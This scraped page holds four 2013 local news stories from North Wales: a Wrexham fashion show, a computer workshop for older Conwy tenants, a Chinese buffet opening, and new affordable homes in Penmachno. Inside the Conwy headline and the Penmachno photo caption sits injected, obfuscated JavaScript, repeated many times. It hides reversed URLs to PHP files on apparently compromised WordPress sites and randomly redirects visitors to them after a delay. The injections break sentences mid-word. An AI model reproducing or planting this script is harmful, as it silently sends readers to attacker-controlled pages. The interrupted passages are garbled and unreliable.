Category: News

French chic adds some passion to fashion at Wrexham shopping centre

EAGLES MEADOW FASHION ON THE MOVE. Pictured is Fashion on the move model Matthew Lightfoot

High-kicking dance skills honed on the Parisian cabaret stage added some French chic to a fashion event.

Thousands of people headed for Eagles Meadow, in Wrexham, for Fashion on the Move which saw the shopping centre being transformed into a giant catwalk for a series of shows.

Eight top professional models from across the UK  strutted their stuff as they showcased the very latest designer ranges.

Masterminding the high-energy dance routines used in their catwalk displays was star choreographer Elise French, a former principal dancer at the world-famous Paris Lido cabaret on the city’s Champs Elysee.

Apart from working out the steps for the team of models, 37-year-old Elise, from Bury near Manchester, also joined them in their fast-paced presentations which delighted onlookers at a sun-soaked Eagles Meadow.

She said: “In the late 1990s I spent three years as principal dancer at the Lido in Paris and enjoyed every minute of it.

“The cabaret there, which attracts audiences from all over the world, features girls wearing stunning and highly glamorous outfits who are all quite tall. I am 5ft 9ins, so I was just what they were looking for.

“It’s the kind of experience I gained with the Lido that I use when choreographing for shows such as Fashion on the Move in which the models move very fast and are always on the move.”

Fashion on the Move featured five stylish shows every hour from 11.30am until 3.30pm.

Among the stores taking part were Ragazzi, Animal, Trespass, Wallis, Marks & Spencer, Debenhams, River Island, Dorothy Perkins, H&M, Mococo, Topshop and Next, with Boots and Debenhams providing mini makeovers for ladies in the crowd inspired by the looks produced for the models.

The all-action show was once again put together by stylist and presenter Jill Pollitt, who has 30 years’ experience in the fashion industry and has regularly appeared on ITV’s flagship This Morning show.

Jill, how has also worked with fashion icon Vivienne Westwood, said: “The five shows we did featured the very best on offer at Eagles Meadow for the summer 2013 season.

“The big thing for the season will be monochrome colours for men and women’s wear. Stripes on clothing for both sexes will also be popular.

“Sixties fashion are back for the season, but with a new and modern interpretation, along with floaty dresses for the girls and the pencil skirt, which you don’t have to be pencil slim to wear.”

Jill, who also appeared as a judge on Britain’s Next Top Model, added: “I have now done a number of Fashion on the Move events at Eagles Meadow and myself and the models just love coming to Wrexham because it presents a marvellous staging area and the crowds are always so enthusiastic.

“Saturday was no exception and some of the young people who came to watch ended up joining in with the dancing. We were also very lucky with the weather.”

Part of the modelling team was 22-year-old Matthew Lightfoot from Leeds who last summer was seen by an audience of millions when he appeared on the Jonathan Ross Show as one of the dancers backing the South Korean singer Psy as he performed his mega-hit Gangnam Style.

Matthew, who kicked off an identical Gangnam routine in front of the Next store on Saturday, said: “I was lucky enough to get the job to do the routine on the Jonathan Ross Show, which I remember we did in just one take for the cameras.

“That was great but being part of Fashion on the Move is also fantastic. This is the third time I have appeared in it and I love it because the crowds are always so appreciative.”

One young lady was so inspired by watching the models’ performance that she was considering buying one of the outfits they were showing off for herself.

Eve Bolton, 12, from Wrexham who enjoyed the 1.30pm show with her mum Stacey, said: “I really liked the floaty dress and denim jacket being modelled and think I might buy something like it for a family engagement party I am going to in May. It was really good to see it being worn by someone because it gave me an idea of how I might look in it.”

Another young girl from Wrexham had good cause to remember Fashion on the Move when she won a Crack the Code competition run by Eagles Meadow to coincide with the event.

Seven-year-old Nia Ellis-Williams matched the barcode on an envelope she was handed while watching the action with one behind the till at the Mococo designer jewellery store and landed herself the glittering prize of a Pandora starter bracelet worth £100.

Her delighted mum Jane said: “We weren’t planning to come out today because Nia had a bit of a headache but we came along to Eagles Meadow so she could get some fresh air.

“It was great for her to win the prize because she is very fond of jewellery and has her own jewellery boxes at home, but the bracelet is now definitely the most expensive piece she has.”

Nia said: “The fashion show was very exciting and I think it is great I have won the bracelet because I have always wanted one like it.”

Eagles Meadow Manager Kevin Critchley said: “Definitely, it’s a great concept and shoppers really enjoyed the show. There was a real buzz about the place and the atmosphere was brilliant.

“There was a really positive vibe around the shopping centre and everyone had a great time.”

Friday April 26th, 2013

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Conwy silver surfers click into action

Cartrefi Conwy tenants back $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the 40's at Kinmel Manor . Pictured is Mair Jones, Abbi Thomas from Llandrillo College and Jen Bailey

A housing association has launched a campaign to transform their older tenants into silver surfers.

Dozens of Cartrefi Conwy tenants attended the free Computers for Beginners workshop at the Kinmel Manor Hotel in Abergele.

Cartrefi Conwy Community Involvement Co-ordinator Vicky Kelly explained the event had been organised in response to requests from tenants.

It was, she said, becoming increasingly important for tenants to be computer literate as so many forms now needed to be filled online.

She said: “While the day is all about our elderly tenants having a bit of fun and getting the chance to socialise we wanted to ensure they have as much information as we can pass on.

“By including lessons in accessing the internet and how to use computers we are giving our more senior tenants the opportunity to save money and perhaps, keep in touch with relatives.

“So much is done on-line now it’s important tenants have access to as many services and as much information as possible.”

Run by Digital Inclusion Project coordinator Jen Bailey, the computer workshops gave elderly tenants an introduction to the internet and Skype so they could learn how to keep in touch with family and friends.

Jen said: “As part of a digital inclusion project called Take CTRL, which is supported by Cartrefi Conwy and a number of other North Wales associations, we are introducing older people to the wonders of the internet and how they can use computers to save money.

“For example, by showing tenants how to use supermarket comparison sites they can shop around from the comfort of their own homes and, in the long term, save money by finding the cheapest place to shop.

“Equally that applies to insurance companies, energy suppliers and all manner of other services. And by showing tenants how Skype works they can perhaps stay in contact with relatives who live a distance away.”

Myra Jones, 72, a tenant of The Fron, Old Colwyn found the computer lessons really worthwhile.

She said: “I do have a computer and use it for e-mails and such like. However, I had no idea how to use comparison sites to save money on shopping, insurance and energy bills. It’s something I will definitely look at doing.

“And using Skype could well be a great way to keep in touch with family and friends who don’t live locally.”

Ruth Kyffin, 80, a tenant of Pentre Newydd, Conwy, enjoyed the computer workshop and was amazed how much money she could save through comparison sites.

She said: “It has been very interesting although I’m not sure I would have a computer at home. I had no idea you could compare supermarket prices or save money on your house insurance by searching for the cheapest deals on a computer. It definitely makes sense.”

Health and Social Care students from Coleg Llandrillo helped out by acting as mentors for tenants guiding them around computer keyboards.

According to Coleg Llandrillo tutor Davina Jones, her students gained a great deal from the experience.

She said: “It’s all about building confidence and engaging with older tenants and helping them overcome any fears of using technology.

“I know our students have learnt a great deal from helping tenants and passing on a few computer skills of their own.”

Coleg Llandrillo student Abbi Thomas, 16, of Abergele, assisted tenant Myra Jones find her way around cyber-space and said she had really enjoyed the experience.

She said: “It’s been great and has helped me appreciate and understand older people. I have certainly enjoyed helping Myra find and use comparison websites which may help her save a few pounds.”

Student Lia Murphy, 17, of Rhyl, showed tenant Ruth Kyffin around a computer keyboard and said the event had proved very worthwhile.

She said: “I have really enjoyed it. It made me realise we take computers and the internet for granted whereas older people perhaps don’t have that confidence.

“If by showing Ruth what she can do with a computer has helped her that has to be a good thing.”

Cartrefi Conwy Chief Executive, Andrew Bowden, says the event had been a complete success.

He said: “Those that are digitally excluded, and they tend to be older people, are really missing out.

“Simple things like online shopping for example. The delivery charge can often be substantially less than the cost of a taxi so it has to be beneficial for some tenants.

“And of course using the internet to compare prices and as a result save money has to be a worthwhile exercise. The whole day has been excellent and I know tenants have appreciated the talks and workshops as much as the chance to socialise and have fun.”

Thursday April 25th, 2013

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Wrexham buffet restaurant takes diners on a trip across the Orient

Kevin Critchley, centre manager at Eagles Meadow in Wrexham with Chen Zhang at the Real China restaurant which opened its doors last night (Wednesday).

A taste of the Orient has created 15 jobs at a new restaurant in Wrexham.

The fast-growing Real China chain has invested £500,000 in opening the eatery at the Eagles Meadow shopping centre.

The buffet-style restaurant  is offering a mouth-watering selection of Asian delicacies alongside traditional Chinese dishes in a specialist food area.

It is the 24th restaurant in the nationwide Real China chain and the first to be based in North Wales.

Real China’s deputy managing director, Chen Zhang, said: “We are delighted to open this new buffet restaurant and its launch marks the culmination of a three-year project to have a presence in North Wales.

“We prefer to be in large leisure or shopping centres and we believe Eagles Meadow is therefore the perfect location for us.

“We have created Real China in Wrexham from what was a basic shell and have spent nearly half a million pounds on décor and equipment.

“Our aim was to create a high quality restaurant with an authentic yet modern Chinese look and to do that we had many of the fittings brought in specially from China.

“We are sure that people in Wrexham will appreciate the appearance and atmosphere we have created – and also very much enjoy the wide range of food we have.

“We have a selection of 40-60 dishes available at lunchtime and 60-80 at dinner, so we think we are offering a fantastic choice.

“Prices range from £5.95 per person on Monday-Friday lunchtime to £12.95 for dinner on Friday and Saturday, including a starter, main course and dessert.”

Chen Zhang, 43, added: “We did lots of market research before opening at Eagles Meadow which was all very positive, so we are confident the restaurant will be a success.

“We have created 15 full-time jobs at the new restaurant but we might eventually increase the staff to 20 depending on customer demand.”

After being welcomed to the restaurant via a large and stylish reception area, customers can order drinks at the bar and then select a starter from a cold area with salads, or an adjacent hot area with everything from soups to spare ribs.

They can then head for the main course area, which offers dishes ranging from sweet and sour chicken to mussels in black bean sauce.

A special food area at the rear of the restaurant has a wide selection of dishes both from China and other oriental countries, so there are curries from India, Thailand and Malaysia.

Next to this area is a Japanese sushi area serving ultra-fresh fish dishes and juicy-looking squid.

Finally, the dessert area features everything from fresh fruit to an  appetising range of puddings and cakes.

Chen Zhang explained: “As can be seen from our special food area, the restaurant focuses on Chinese cuisine but not exclusively so. We also have a wide range of dishes from right across the Orient to tempt our customers.”

Eagles Meadow centre manager Kevin Critchley said: “We particularly wanted them at Eagles Meadow because of their reputation for providing a high level of fittings, food quality and customer service.

“The new restaurant has been created from a basic shell and is certainly very impressive – we are expecting great things from it.

“When I was there on its recent first night I spoke to a group of three young ladies who were dining. They told me they didn’t know the restaurant was there but just followed the delicious smell of food to the door of Real China. You can’t have a better recommendation that that.”

Monday April 22nd, 2013

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Affordable homes will help safeguard a Welsh-speaking village in Conwy

Cartrefi Conwy at start of development of Maes y Waen in Penmachno. Emyr Hughes, Cartrefi Conwy Neighbourhood Co-ordina$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor with local resident Mic Roberts.

Work has started on a new development of affordable homes in a largely Welsh-speaking village in the Conwy Valley.

Local residents and Aberconwy MP say the scheme by housing association Cartrefi Conwy will help safeguard the future of Penmachno – and the village school.

Cartrefi Conwy decided to press ahead with the development after a survey showed a clear need to meet local demand.

Six houses are being built on the site near Ysgol Penmachno – four three-bedroom properties and two two-bedroom properties.

The land at Maes-y-Waen was earmarked for housing by Snowdonia National Park Authority in their Local Development Plan.

A second phase would see a further six houses being built when a local need is demonstrated.

Villagers were updated on progress at a special drop-in session at the Ty’n y Porth Community Hall.

Among those who attended was father-of-one Mic Roberts who was brought up in Penmachno – and doesn’t want to live anywhere else.

Mr Roberts said: “I have one son and we have another child on the way.

“Personally, I think there’s a big need for a development like this to keep young families in the village so they don’t have to move away because they can’t afford to buy a house.

“Buying a house is so expensive and we live in an area where the wages are generally low.

“This will help keep the school open and ensure the future of the village.

“The house where we live at the moment has two bedrooms but the second bedroom is just a box room and there’s no room to swing a cat downstairs.

“We live right on the side of the road which is a worry.

“I am from the village and I don’t want to leave. I have got great friends here and you don’t have the problems here that you have in towns.

“I was raised here and I want to raise my children here.”

The scheme also met with the approval of Aberconwy MP Guto Bebb.

He said: “I am pleased the development is taking shape, especially as the consultation clearly listened to local opinion and that the development is meeting local need.

“The fact that affordable homes suitable for young families are being built is to be welcomed by local people and will generate more pupils for the village school.”

There was also support from Elfed Williams, the Clerk to the Community Council.

According to Mr Williams:”The most important thing for us is that these houses are going to be for local people.

“It’s a historic development in Penmachno because nothing has been built here for many years.

“We’re hoping these houses will help safeguard the future of the village school – it is difficult to sustain rural, Welsh speaking communities and we hope this development will help.

The level of support came as no surprise to Gwynne Jones, Cartrefi Conwy’s Operations Director.

Mr Jones said: “One of the aims of today’s event is to assure the community they will have the first bite of the cherry in relation to the first lets.

“There is a Section 106 agreement signed with Snowdonia National Park which states that priority will be given to people who have lived within the Bro Machno or adjoining community councils for a continuous period of five years, so there has to be a local connection.

“Penmachno is a large village, and it is important that people can stay in the communities that they were born and bred in.”

Mr Jones also revealed that the new homes will be built to sustainable code level 4 meaning that energy costs would be kept to a minimum thanks to the use of air source heat pumps and photovoltaic panels.

He added: “Hopefully the new tenants moving in will see savings on their fuel bills.

“We’re also putting sprinkler systems into the properties ahead of the expected legislation on this by the Welsh Government.

It was a proud day for Brian Roberts, Chair of Cartrefi Conwy’s Development Committee.

He said: “This is a historic day for Cartrefi Conwy in the sense that this is our first housing development.

“There are other developments in the pipeline we are aiming to build 100 new homes over the next five years.”

Monday April 22nd, 2013

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